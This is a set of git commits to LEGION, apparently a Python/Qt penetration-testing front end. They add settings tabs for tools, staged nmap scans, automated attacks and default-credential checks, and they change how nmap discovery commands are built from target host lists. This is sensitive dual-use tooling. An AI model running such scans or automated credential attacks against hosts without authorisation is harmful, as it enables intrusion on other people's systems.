self.addToolForHostButton.setMaximumSize(90, 30) + self.horLayoutPortActions.addWidget(self.addToolForHostButton) + self.horLayoutPortActions.addWidget(self.removeToolForHostButton) + + self.actionHost = QtWidgets.QLabel() + self.actionHost.setText('Tools') + + self.verLayoutPortActions = QtWidgets.QVBoxLayout() + self.verLayoutPortActions.addWidget(self.actionHost) + self.verLayoutPortActions.addWidget(self.toolForHostsTableWidget) + self.verLayoutPortActions.addLayout(self.horLayoutPortActions) + + self.verLayout1 = QtWidgets.QVBoxLayout() + + self.horLayout4 = QtWidgets.QHBoxLayout() + self.label12 = QtWidgets.QLabel() + self.label12.setText('Tool') + self.label12.setFixedWidth(70) + self.hostActionNameText = QtWidgets.QLineEdit() + + self.horLayout4.addWidget(self.label12) + self.horLayout4.addWidget(self.hostActionNameText) + + self.label9 = QtWidgets.QLabel() + self.label9.setText('Label') + self.label9.setFixedWidth(70) + + self.hostLabelText = QtWidgets.QLineEdit() + self.hostLabelText.setText(' ') + self.hostLabelText.setReadOnly(True) + + self.horLayout1 = QtWidgets.QHBoxLayout() + self.horLayout1.addWidget(self.label9) + self.horLayout1.addWidget(self.hostLabelText) + + self.horLayout2 = QtWidgets.QHBoxLayout() + self.label10 = QtWidgets.QLabel() + self.label10.setText('Command') + self.label10.setFixedWidth(70) + + self.hostCommandText = QtWidgets.QLineEdit() + self.hostCommandText.setText('init value') + self.horLayout2.addWidget(self.label10) + self.horLayout2.addWidget(self.hostCommandText) + + self.spacer6 = QSpacerItem(0,20) + self.verLayout1.addItem(self.spacer6) + self.verLayout1.addLayout(self.horLayout4) + self.verLayout1.addLayout(self.horLayout1) + self.verLayout1.addLayout(self.horLayout2) + self.spacer1 = QSpacerItem(0,800) + self.verLayout1.addItem(self.spacer1) + + self.globLayoutPortActions = QtWidgets.QHBoxLayout(self.HostActionsWidget) + self.globLayoutPortActions.addLayout(self.verLayoutPortActions) + self.spacer5 = QSpacerItem(10,0) + self.globLayoutPortActions.addItem(self.spacer5) + self.globLayoutPortActions.addLayout(self.verLayout1) + self.spacer2 = QSpacerItem(50,0) + self.globLayoutPortActions.addItem(self.spacer2) + + def setupPortCommandsTab(self): + self.label11 = QtWidgets.QLabel() + self.label11.setText('Tools') + + self.toolForServiceTableWidget = QtWidgets.QTableWidget(self.PortActionsWidget) + self.toolForServiceTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForServiceTableWidget.setFixedWidth(180) + self.toolForServiceTableWidget.setShowGrid(False) + self.toolForServiceTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) + # table headers + self.toolForServiceTableWidget.setColumnCount(1) + self.toolForServiceTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) + self.toolForServiceTableWidget.horizontalHeaderItem(0).setText("Name") + self.toolForServiceTableWidget.horizontalHeader().resizeSection(0,200) + self.toolForServiceTableWidget.horizontalHeader().setVisible(False) + self.toolForServiceTableWidget.verticalHeader().setVisible(False) + self.toolForServiceTableWidget.setVerticalHeaderItem(0, QtWidgets.QTableWidgetItem()) + + self.horLayoutPortActions = QtWidgets.QHBoxLayout() + self.addToolButton = QPushButton('Add') + self.addToolButton.setMaximumSize(90, 30) + self.removeToolButton = QPushButton('Remove') + self.removeToolButton.setMaximumSize(90, 30) + self.horLayoutPortActions.addWidget(self.addToolButton) + self.horLayoutPortActions.addWidget(self.removeToolButton) + + self.verLayoutPortActions = QtWidgets.QVBoxLayout() + self.verLayoutPortActions.addWidget(self.label11) + self.verLayoutPortActions.addWidget(self.toolForServiceTableWidget) + self.verLayoutPortActions.addLayout(self.horLayoutPortActions) + + self.verLayout1 = QtWidgets.QVBoxLayout() + # right side + self.horLayout4 = QtWidgets.QHBoxLayout() + self.label12 = QtWidgets.QLabel() + self.label12.setText('Tool') + self.label12.setFixedWidth(70) + self.portActionNameText = QtWidgets.QLineEdit() + self.horLayout4.addWidget(self.label12) + self.horLayout4.addWidget(self.portActionNameText) + + self.horLayout1 = QtWidgets.QHBoxLayout() + self.label9 = QtWidgets.QLabel() + self.label9.setText('Label') + self.label9.setFixedWidth(70) + self.portLabelText = QtWidgets.QLineEdit() + self.portLabelText.setText(' ') + self.portLabelText.setReadOnly(True) + self.horLayout1.addWidget(self.label9) + self.horLayout1.addWidget(self.portLabelText) + + self.horLayout2 = QtWidgets.QHBoxLayout() + self.label10 = QtWidgets.QLabel() + self.label10.setText('Command') + self.label10.setFixedWidth(70) + self.portCommandText = QtWidgets.QLineEdit() + self.portCommandText.setText('init value') + self.horLayout2.addWidget(self.label10) + self.horLayout2.addWidget(self.portCommandText) + + self.servicesAllTableWidget = QtWidgets.QTableWidget() + self.servicesAllTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.servicesAllTableWidget.setMaximumSize(150, 300) + self.servicesAllTableWidget.setColumnCount(1) + self.servicesAllTableWidget.horizontalHeader().resizeSection(0,150) + self.servicesAllTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) + self.servicesAllTableWidget.horizontalHeaderItem(0).setText("Name") + self.servicesAllTableWidget.horizontalHeader().setVisible(False) + self.servicesAllTableWidget.setShowGrid(False) + self.servicesAllTableWidget.verticalHeader().setVisible(False) + + self.servicesActiveTableWidget = QtWidgets.QTableWidget() + self.servicesActiveTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.servicesActiveTableWidget.setMaximumSize(150, 300) + self.servicesActiveTableWidget.setColumnCount(1) + self.servicesActiveTableWidget.horizontalHeader().resizeSection(0,150) + self.servicesActiveTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) + self.servicesActiveTableWidget.horizontalHeaderItem(0).setText("Name") + self.servicesActiveTableWidget.horizontalHeader().setVisible(False) + self.servicesActiveTableWidget.setShowGrid(False) + self.servicesActiveTableWidget.verticalHeader().setVisible(False) + + self.verLayout2 = QtWidgets.QVBoxLayout() + + self.addServicesButton = QPushButton('-->') + self.addServicesButton.setMaximumSize(30, 30) + self.removeServicesButton = QPushButton('<--') + self.removeServicesButton.setMaximumSize(30, 30) + + self.spacer4 = QSpacerItem(0,90) # space above and below arrow buttons + self.verLayout2.addItem(self.spacer4) + self.verLayout2.addWidget(self.addServicesButton) + self.verLayout2.addWidget(self.removeServicesButton) + self.verLayout2.addItem(self.spacer4) + + self.horLayout3 = QtWidgets.QHBoxLayout() # space left of multiple choice widget + self.spacer3 = QSpacerItem(78,0) + self.horLayout3.addItem(self.spacer3) + self.horLayout3.addWidget(self.servicesAllTableWidget) + self.horLayout3.addLayout(self.verLayout2) + self.horLayout3.addWidget(self.servicesActiveTableWidget) + + self.spacer6 = QSpacerItem(0,20) # top right space + self.verLayout1.addItem(self.spacer6) + self.verLayout1.addLayout(self.horLayout4) + self.verLayout1.addLayout(self.horLayout1) + self.verLayout1.addLayout(self.horLayout2) + self.verLayout1.addLayout(self.horLayout3) + self.spacer1 = QSpacerItem(0,50) # bottom right space + self.verLayout1.addItem(self.spacer1) + + self.globLayoutPortActions = QtWidgets.QHBoxLayout(self.PortActionsWidget) + self.globLayoutPortActions.addLayout(self.verLayoutPortActions) + + self.spacer5 = QSpacerItem(10,0) # space between left and right layouts + self.globLayoutPortActions.addItem(self.spacer5) + self.globLayoutPortActions.addLayout(self.verLayout1) + self.spacer2 = QSpacerItem(50,0) # right margin space + self.globLayoutPortActions.addItem(self.spacer2) + + def setupTerminalCommandsTab(self): + self.actionTerminalLabel = QtWidgets.QLabel() + self.actionTerminalLabel.setText('Tools') + + self.toolForTerminalTableWidget = QtWidgets.QTableWidget(self.portTerminalActionsWidget) + self.toolForTerminalTableWidget.setSelectionBehavior(QAbstractItemView.SelectRows) + self.toolForTerminalTableWidget.setFixedWidth(180) + self.toolForTerminalTableWidget.setShowGrid(False) + # to make the cells of the table read only + self.toolForTerminalTableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) + # table headers + self.toolForTerminalTableWidget.setColumnCount(1) + self.toolForTerminalTableWidget.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) + self.toolForTerminalTableWidget.horizontalHeaderItem(0).setText("Name") + self.toolForTerminalTableWidget.horizontalHeader().resizeSection(0,200) + self.toolForTerminalTableWidget.horizontalHeader().setVisible(False) + self.toolForTerminalTableWidget.verticalHeader().setVisible(False) + self.toolForTerminalTableWidget.setVerticalHeaderItem(0, QtWidgets.QTableWidgetItem()) + + self.horLayout1 = QtWidgets.QHBoxLayout() + self.addToolForTerminalButton = QPushButton('Add') + self.addToolForTerminalButton.setMaximumSize(90, 30) + self.removeToolForTerminalButton = QPushButton('Remove') + self.removeToolForTerminalButton.setMaximumSize(90, 30) + self.horLayout1.addWidget(self.addToolForTerminalButton) + self.horLayout1.addWidget(self.removeToolForTerminalButton) + + self.verLayout1 = QtWidgets.QVBoxLayout() + self.verLayout1.addWidget(self.actionTerminalLabel) + self.verLayout1.addWidget(self.toolForTerminalTableWidget) + self.verLayout1.addLayout(self.horLayout1) + + self.horLayout2 = QtWidgets.QHBoxLayout() + self.actionNameTerminalLabel = QtWidgets.QLabel() + self.actionNameTerminalLabel.setText('Tool') + self.actionNameTerminalLabel.setFixedWidth(70) + self.terminalActionNameText = QtWidgets.QLineEdit() + self.horLayout2.addWidget(self.actionNameTerminalLabel) + self.horLayout2.addWidget(self.terminalActionNameText) + + self.horLayout3 = QtWidgets.QHBoxLayout() + self.labelTerminalLabel = QtWidgets.QLabel() + self.labelTerminalLabel.setText('Label') + self.labelTerminalLabel.setFixedWidth(70) + self.terminalLabelText = QtWidgets.QLineEdit() + self.terminalLabelText.setText(' ') + self.terminalLabelText.setReadOnly(True) + self.horLayout3.addWidget(self.labelTerminalLabel) + self.horLayout3.addWidget(self.terminalLabelText) + + self.horLayout4 = QtWidgets.QHBoxLayout() + self.commandTerminalLabel = QtWidgets.QLabel() + self.commandTerminalLabel.setText('Command') + self.commandTerminalLabel.setFixedWidth(70) + self.terminalCommandText = QtWidgets.QLineEdit() + self.terminalCommandText.setText('init value') + self.horLayout4.addWidget(self.commandTerminalLabel) + self.horLayout4.addWidget(self.terminalCommandText) + + self.terminalServicesAllTable = QtWidgets.QTableWidget() + self.terminalServicesAllTable.setSelectionBehavior(QAbstractItemView.SelectRows) + self.terminalServicesAllTable.setMaximumSize(150, 300) + self.terminalServicesAllTable.setColumnCount(1) + self.terminalServicesAllTable.horizontalHeader().resizeSection(0,150) + self.terminalServicesAllTable.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) + self.terminalServicesAllTable.horizontalHeaderItem(0).setText("Available Services") + self.terminalServicesAllTable.horizontalHeader().setVisible(False) + self.terminalServicesAllTable.setShowGrid(False) + self.terminalServicesAllTable.verticalHeader().setVisible(False) + + self.terminalServicesActiveTable = QtWidgets.QTableWidget() + self.terminalServicesActiveTable.setSelectionBehavior(QAbstractItemView.SelectRows) + self.terminalServicesActiveTable.setMaximumSize(150, 300) + self.terminalServicesActiveTable.setColumnCount(1) + self.terminalServicesActiveTable.horizontalHeader().resizeSection(0,150) + self.terminalServicesActiveTable.setHorizontalHeaderItem(0, QtWidgets.QTableWidgetItem()) + self.terminalServicesActiveTable.horizontalHeaderItem(0).setText("Applied Services") + self.terminalServicesActiveTable.horizontalHeader().setVisible(False) + self.terminalServicesActiveTable.setShowGrid(False) + self.terminalServicesActiveTable.verticalHeader().setVisible(False) + + self.addTerminalServiceButton = QPushButton('-->') + self.addTerminalServiceButton.setMaximumSize(30, 30) + self.removeTerminalServiceButton = QPushButton('<--') + self.removeTerminalServiceButton.setMaximumSize(30, 30) + + self.verLayout3 = QtWidgets.QVBoxLayout() + self.spacer2 = QSpacerItem(0,90) + self.verLayout3.addItem(self.spacer2) + self.verLayout3.addWidget(self.addTerminalServiceButton) + self.verLayout3.addWidget(self.removeTerminalServiceButton) + self.verLayout3.addItem(self.spacer2) + + self.horLayout5 = QtWidgets.QHBoxLayout() + self.spacer3 = QSpacerItem(78,0) + self.horLayout5.addItem(self.spacer3) + self.horLayout5.addWidget(self.terminalServicesAllTable) + self.horLayout5.addLayout(self.verLayout3) + self.horLayout5.addWidget(self.terminalServicesActiveTable) + + self.verLayout2 = QtWidgets.QVBoxLayout() + self.spacer4 = QSpacerItem(0,20) + self.verLayout2.addItem(self.spacer4) + self.verLayout2.addLayout(self.horLayout2) + self.verLayout2.addLayout(self.horLayout3) + self.verLayout2.addLayout(self.horLayout4) + self.verLayout2.addLayout(self.horLayout5) + self.spacer5 = QSpacerItem(0,50) + self.verLayout2.addItem(self.spacer5) + + self.globLayoutTerminalActions = QtWidgets.QHBoxLayout(self.portTerminalActionsWidget) + self.globLayoutTerminalActions.addLayout(self.verLayout1) + self.spacer6 = QSpacerItem(10,0) + self.globLayoutTerminalActions.addItem(self.spacer6) + self.globLayoutTerminalActions.addLayout(self.verLayout2) + self.spacer7 = QSpacerItem(50,0) + self.globLayoutTerminalActions.addItem(self.spacer7) + + def setupStagedNmapTab(self): + self.stage1label = QtWidgets.QLabel() + self.stage1label.setText('nmap stage 1') + self.stage1label.setFixedWidth(100) + self.stage1Input = QtWidgets.QLineEdit() + self.stage1Input.setFixedWidth(500) + self.hlayout1 = QtWidgets.QHBoxLayout() + self.hlayout1.addWidget(self.stage1label) + self.hlayout1.addWidget(self.stage1Input) + + self.stage2label = QtWidgets.QLabel() + self.stage2label.setText('nmap stage 2') + self.stage2label.setFixedWidth(100) + self.stage2Input = QtWidgets.QLineEdit() + self.stage2Input.setFixedWidth(500) + self.hlayout2 = QtWidgets.QHBoxLayout() + self.hlayout2.addWidget(self.stage2label) + self.hlayout2.addWidget(self.stage2Input) + + self.stage3label = QtWidgets.QLabel() + self.stage3label.setText('nmap stage 3') + self.stage3label.setFixedWidth(100) + self.stage3Input = QtWidgets.QLineEdit() + self.stage3Input.setFixedWidth(500) + self.hlayout3 = QtWidgets.QHBoxLayout() + self.hlayout3.addWidget(self.stage3label) + self.hlayout3.addWidget(self.stage3Input) + + self.stage4label = QtWidgets.QLabel() + self.stage4label.setText('nmap stage 4') + self.stage4label.setFixedWidth(100) + self.stage4Input = QtWidgets.QLineEdit() + self.stage4Input.setFixedWidth(500) + self.hlayout4 = QtWidgets.QHBoxLayout() + self.hlayout4.addWidget(self.stage4label) + self.hlayout4.addWidget(self.stage4Input) + + self.stage5label = QtWidgets.QLabel() + self.stage5label.setText('nmap stage 5') + self.stage5label.setFixedWidth(100) + self.stage5Input = QtWidgets.QLineEdit() + self.stage5Input.setFixedWidth(500) + self.hlayout5 = QtWidgets.QHBoxLayout() + self.hlayout5.addWidget(self.stage5label) + self.hlayout5.addWidget(self.stage5Input) + + self.vlayout1 = QtWidgets.QVBoxLayout() + self.vlayout1.addLayout(self.hlayout1) + self.vlayout1.addLayout(self.hlayout2) + self.vlayout1.addLayout(self.hlayout3) + self.vlayout1.addLayout(self.hlayout4) + self.vlayout1.addLayout(self.hlayout5) + self.vlayout1.addStretch() + + self.gHorLayout = QtWidgets.QHBoxLayout(self.StagedNmapWidget) + self.gHorLayout.addLayout(self.vlayout1) + self.spacer2 = QSpacerItem(50,0) # right margin spacer + self.gHorLayout.addItem(self.spacer2) + + def setupAutomatedAttacksTab(self): + self.GeneralAutoHelpWidget = QtWidgets.QWidget() + self.AutoAttacksHelpTab.addTab(self.GeneralAutoHelpWidget, "General") + self.AutoToolsWidget = QtWidgets.QWidget() + self.AutoAttacksHelpTab.addTab(self.AutoToolsWidget, "Tool Configuration") + + self.setupAutoAttacksGeneralTab() + self.setupAutoAttacksToolTab() + + def setupAutoAttacksGeneralTab(self): + self.globVerAutoSetLayout = QtWidgets.QVBoxLayout(self.GeneralAutoHelpWidget) + + self.enableAutoAttacks = QtWidgets.QCheckBox() + self.enableAutoAttacks.setText('Run automated attacks') + self.checkDefaultCred = QtWidgets.QCheckBox() + self.checkDefaultCred.setText('Check for default credentials') + + self.defaultBoxVerlayout = QtWidgets.QVBoxLayout() + self.defaultCredentialsBox = QGroupBox("Default Credentials") + self.defaultCredentialsBox.setLayout(self.defaultBoxVerlayout) + self.globVerAutoSetLayout.addWidget(self.enableAutoAttacks) + self.globVerAutoSetLayout.addWidget(self.checkDefaultCred) + self.globVerAutoSetLayout.addWidget(self.defaultCredentialsBox) + self.globVerAutoSetLayout.addStretch() + + def setupAutoAttacksToolTab(self): + self.toolNameLabel = QtWidgets.QLabel() + self.toolNameLabel.setText('Tool') + self.toolNameLabel.setFixedWidth(150) + self.toolServicesLabel = QtWidgets.QLabel() + self.toolServicesLabel.setText('Services') + self.toolServicesLabel.setFixedWidth(300) + self.enableAllToolsLabel = QtWidgets.QLabel() + self.enableAllToolsLabel.setText('Run automatically') + self.enableAllToolsLabel.setFixedWidth(150) + + self.autoToolTabHorLayout = QtWidgets.QHBoxLayout() + self.autoToolTabHorLayout.addWidget(self.toolNameLabel) + self.autoToolTabHorLayout.addWidget(self.toolServicesLabel) + self.autoToolTabHorLayout.addWidget(self.enableAllToolsLabel) + + self.scrollArea = QtWidgets.QScrollArea() + self.scrollWidget = QtWidgets.QWidget() + + self.globVerAutoToolsLayout = QtWidgets.QVBoxLayout(self.AutoToolsWidget) + self.globVerAutoToolsLayout.addLayout(self.autoToolTabHorLayout) + + self.scrollVerLayout = QtWidgets.QVBoxLayout(self.scrollWidget) + self.enabledSpacer = QSpacerItem(60,0) + + # by default the automated attacks are not activated and the tab is not enabled + self.AutoAttacksHelpTab.setTabEnabled(1,False) + + # for all the browse buttons + def wordlistDialog(self, title='Choose username path'): + if title == 'Choose username path': + path = QtWidgets.QFileDialog.getExistingDirectory(self, title, '/', QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks) + self.userlistPath.setText(str(path)) + else: + path = QtWidgets.QFileDialog.getExistingDirectory(self, title, '/') + self.passwordlistPath.setText(str(path)) + diff --git a/ui/settingsdialogs.py b/ui/settingsDialog.py similarity index 100% rename from ui/settingsdialogs.py rename to ui/settingsDialog.py diff --git a/ui/view.py b/ui/view.py index cb01a1fb..ad9c6d2f 100644 --- a/ui/view.py +++ b/ui/view.py @@ -29,7 +29,10 @@ from ui.gui import * from ui.dialogs import * -from ui.settingsdialogs import * +from ui.settingsDialog import * +from ui.helpDialog import * +from ui.addHostDialog import * +from ui.ancillaryDialog import * from app.hostmodels import * from app.servicemodels import * from app.scriptmodels import * @@ -62,19 +65,8 @@ def startOnce(self): self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) self.adddialog = AddHostsDialog(self.ui.centralwidget) self.settingsWidget = AddSettingsDialog(self.ui.centralwidget) - #self.helpWidget = QtWebKit.QWebView() - #self.helpWidget.setWindowTitle('LEGION Help') - - # kali moves the help file so let's find it - url = './doc/help.html' - if not os.path.exists(url): - url = '/usr/share/doc/legion/help.html' - - #if usePySide: - # self.helpWidget.load(url) - #else: - #self.helpWidget.load(QUrl(url)) - + self.helpWidget = AddHelpDialog(self.ui.centralwidget) + self.ui.HostsTableView.setSelectionMode(1) # disable multiple selection self.ui.ServiceNamesTableView.setSelectionMode(1) self.ui.CvesTableView.setSelectionMode(1) @@ -170,7 +162,7 @@ def startConnections(self): # signal ini self.ui.keywordTextInput.returnPressed.connect(self.ui.FilterApplyButton.click) self.filterdialog.applyButton.clicked.connect(self.updateFilter) #self.settingsWidget.applyButton.clicked.connect(self.applySettings) - #self.settingsWidget.cancelButton.clicked.connect(self.cancelSettings) + #self.settingsWidget.cmdCancelButton.clicked.connect(self.cancelSettings) #self.settingsWidget.applyButton.clicked.connect(self.controller.applySettings(self.settingsWidget.settings)) self.tick.connect(self.importProgressWidget.setProgress) # slot used to update the progress bar @@ -213,7 +205,7 @@ def initTables(self): # this funct self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column # process table - headers = ["Progress", "Elapsed", "Estimated Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] + headers = ["Progress", "Elapsed", "Est. Remaining", "Display", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "OutputFile", "Output", "Status"] setTableProperties(self.ui.ProcessesTableView, len(headers), [1, 2, 3, 4, 5, 8, 9, 10, 13, 14, 16]) self.ui.ProcessesTableView.horizontalHeader().resizeSection(0, 125) self.ui.ProcessesTableView.horizontalHeader().resizeSection(4, 250) @@ -394,27 +386,27 @@ def connectAddHosts(self): self.ui.actionAddHosts.triggered.connect(self.connectAddHostsDialog) def connectAddHostsDialog(self): - self.adddialog.addButton.setDefault(True) - self.adddialog.textinput.setFocus(True) + self.adddialog.cmdAddButton.setDefault(True) + self.adddialog.txtHostList.setFocus(True) self.adddialog.validationLabel.hide() self.adddialog.spacer.changeSize(15,15) self.adddialog.show() - self.adddialog.addButton.clicked.connect(self.callAddHosts) - self.adddialog.cancelButton.clicked.connect(self.adddialog.close) + self.adddialog.cmdAddButton.clicked.connect(self.callAddHosts) + self.adddialog.cmdCancelButton.clicked.connect(self.adddialog.close) def callAddHosts(self): - hostListStr = str(self.adddialog.textinput.text()).replace(';',' ') + hostListStr = str(self.adddialog.txtHostList.toPlainText()).replace(';',' ') if validateNmapInput(hostListStr): self.adddialog.close() hostList = hostListStr.split(' ') for hostListEntry in hostList: - self.controller.addHosts(hostListEntry, self.adddialog.discovery.isChecked(), self.adddialog.nmap.isChecked()) - self.adddialog.addButton.clicked.disconnect() # disconnect all the signals from that button + self.controller.addHosts(hostListEntry, self.adddialog.chkDiscovery.isChecked(), self.adddialog.chkNmapStaging.isChecked()) + self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button else: self.adddialog.spacer.changeSize(0,0) self.adddialog.validationLabel.show() - self.adddialog.addButton.clicked.disconnect() # disconnect all the signals from that button - self.adddialog.addButton.clicked.connect(self.callAddHosts) + self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button + self.adddialog.cmdAddButton.clicked.connect(self.callAddHosts) ### @@ -461,7 +453,7 @@ def cancelSettings(self): self.controller.cancelSettings() def connectHelp(self): - #self.ui.menuHelp.triggered.connect(self.helpWidget.show) + self.ui.menuHelp.triggered.connect(self.helpWidget.show) pass ### @@ -1132,7 +1124,7 @@ def displayAddHostsOverlay(self, display=False): #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### def updateProcessesTableView(self): - headers = ["Progress", "Display", "Elapsed", "Estimated Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, True), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) From 681db99cfbab77282556e68a7d61af78f4902264 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Tue, 12 Feb 2019 18:10:08 -0600 Subject: [PATCH 108/450] Fix flashing --- app/processmodels.py | 2 -- ui/ancillaryDialog.py | 1 - 2 files changed, 3 deletions(-) diff --git a/app/processmodels.py b/app/processmodels.py index fd08ac32..97aa8371 100644 --- a/app/processmodels.py +++ b/app/processmodels.py @@ -6,11 +6,9 @@ This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. -B This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . -B ''' import re diff --git a/ui/ancillaryDialog.py b/ui/ancillaryDialog.py index 474bb50f..1ee30c3a 100644 --- a/ui/ancillaryDialog.py +++ b/ui/ancillaryDialog.py @@ -122,4 +122,3 @@ def __init__(self, filename, parent=None): self.movie.setSpeed(100) self.movie_screen.setMovie(self.movie) self.movie.start() - self.show() From 715d8b2700da1890ec062514f03fac6ec269af83 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 13 Feb 2019 08:13:53 -0600 Subject: [PATCH 109/450] Banner, Cleanup, Dialog fixes, Async --- controller/controller.py | 2 +- legion.py | 2 - ui/gui.ui | 314 --------------------------------------- ui/view.py | 2 +- 4 files changed, 2 insertions(+), 318 deletions(-) delete mode 100644 ui/gui.ui diff --git a/controller/controller.py b/controller/controller.py index bd553c34..d798029e 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -190,7 +190,7 @@ def closeProject(self): self.logic.removeTemporaryFiles() @timing - def addHosts(self, iprange, runHostDiscovery, runStagedNmap): + def addHosts(self, iprange, runHostDiscovery, runStagedNmap, nmapSpeed, nmapOptions = []): if iprange == '': log.info('No hosts entered..') return diff --git a/legion.py b/legion.py index 734b4eeb..89f2dd92 100644 --- a/legion.py +++ b/legion.py @@ -118,8 +118,6 @@ def eventFilter(self, receiver, event): controller = Controller(view, logic) # Controller prep (communication between model and view) MainWindow.show() - #log.addHandler(ui.LogOutputTextView) - #sys.exit(app.exec_()) try: loop.run_forever() diff --git a/ui/gui.ui b/ui/gui.ui deleted file mode 100644 index 7ec2e45d..00000000 --- a/ui/gui.ui +++ /dev/null @@ -1,314 +0,0 @@ - - - MainWindow - - - - 0 - 0 - 1010 - 754 - - - - LEGION - - - - - - - Qt::Vertical - - - - 1 - - - - Scan - - - - - - Qt::Horizontal - - - - - 0 - 0 - - - - 1 - - - - Hosts - - - - - - - - - - Services - - - - - - - - - - - true - - - - 1 - 0 - - - - 1 - - - - Services - - - - - - - - - - Page - - - - - - - - - - Information - - - - - - - - - - Notes - - - - - - - - - - Page - - - - - - - - - - Brute - - - - - - 1 - - - - Tab 1 - - - - - - Tab 2 - - - - - - - - - - - 0 - 0 - - - - - 0 - 0 - - - - 0 - - - - Log - - - - - - - - - - Terminal - - - - - - - - - - Python - - - - - - - - - - - - - - - - 0 - 0 - 1010 - 25 - - - - - File - - - - - - - - - - - - - - Edit - - - - - Settings - - - - - Help - - - - - - - - - - - Exit - - - Exit the application - - - Ctrl+Q - - - - - Open - - - Open an existing project file - - - Ctrl+O - - - - - Save - - - Save the current project - - - Ctrl+S - - - - - Import nmap - - - Import an nmap xml file - - - - - Save As - - - - - New - - - Ctrl+N - - - - - Add host(s) to scope - - - - - - diff --git a/ui/view.py b/ui/view.py index ad9c6d2f..b52c897e 100644 --- a/ui/view.py +++ b/ui/view.py @@ -400,7 +400,7 @@ def callAddHosts(self): self.adddialog.close() hostList = hostListStr.split(' ') for hostListEntry in hostList: - self.controller.addHosts(hostListEntry, self.adddialog.chkDiscovery.isChecked(), self.adddialog.chkNmapStaging.isChecked()) + self.controller.addHosts(iprange = hostListEntry, runHostDiscovery = self.adddialog.chkDiscovery.isChecked(), runStagedNmap = self.adddialog.chkNmapStaging.isChecked(), nmapSpeed = self.adddialog.sldScanTimingSlider.value) self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button else: self.adddialog.spacer.changeSize(0,0) From ba8b1c9e6e98815eaf87240d5f7c144ac2b97be4 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 13 Feb 2019 12:09:27 -0600 Subject: [PATCH 110/450] Fix regressions on addHost dialog. --- controller/controller.py | 46 ++++++++++++++++++++++------------------ ui/view.py | 20 ++++++++++++++++- 2 files changed, 44 insertions(+), 22 deletions(-) diff --git a/controller/controller.py b/controller/controller.py index d798029e..219d8000 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -26,7 +26,7 @@ class Controller(): # initialisations that will happen once - when the program is launched @timing def __init__(self, view, logic): - self.version = 'LEGION 0.2.4' # update this everytime you commit! + self.version = 'LEGION 0.3.0' # update this everytime you commit! self.logic = logic self.view = view self.view.setController(self) @@ -44,7 +44,6 @@ def __init__(self, view, logic): def start(self, title='*untitled'): self.processes = [] # to store all the processes we run (nmaps, niktos, etc) self.fastProcessQueue = queue.Queue() # to manage fast processes (banner, snmpenum, etc) - #self.slowProcessQueue = Queue.Queue() # to manage slow processes (dirbuster, hydra, etc) self.fastProcessesRunning = 0 # counts the number of fast processes currently running self.slowProcessesRunning = 0 # counts the number of slow processes currently running self.nmapImporter.setDB(self.logic.db) # tell nmap importer which db to use @@ -190,24 +189,29 @@ def closeProject(self): self.logic.removeTemporaryFiles() @timing - def addHosts(self, iprange, runHostDiscovery, runStagedNmap, nmapSpeed, nmapOptions = []): - if iprange == '': + def addHosts(self, targetHosts, runHostDiscovery, runStagedNmap, nmapSpeed, scanMode, nmapOptions = []): + if targetHosts == '': log.info('No hosts entered..') return - if runStagedNmap: - self.runStagedNmap(iprange, runHostDiscovery) - - elif runHostDiscovery: - outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-host-discover' - command = "nmap -n -sV -O --version-light -T4 "+iprange+" -oA "+outputfile - log.info("Running {command}".format(command=command)) - self.runCommand('nmap', 'nmap (discovery)', iprange, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(iprange), 'nmap (discovery)', True)) - - else: - outputfile = self.logic.runningfolder+"/nmap/"+getTimestamp()+'-nmap-list' - command = "nmap -n -sL "+iprange+" -oA "+outputfile - self.runCommand('nmap', 'nmap (list)', iprange, '','', command, getTimestamp(True), outputfile, self.view.createNewTabForHost(str(iprange), 'nmap (list)', True)) + if scanMode == 'Easy': + if runStagedNmap: + self.runStagedNmap(targetHosts, runHostDiscovery) + elif runHostDiscovery: + outputfile = self.logic.runningfolder + "/nmap/" + getTimestamp() + '-host-discover' + command = "nmap -n -sV -O --version-light -T" + str(nmapSpeed) + " " + targetHosts + " -oA "+outputfile + log.info("Running {command}".format(command=command)) + self.runCommand('nmap', 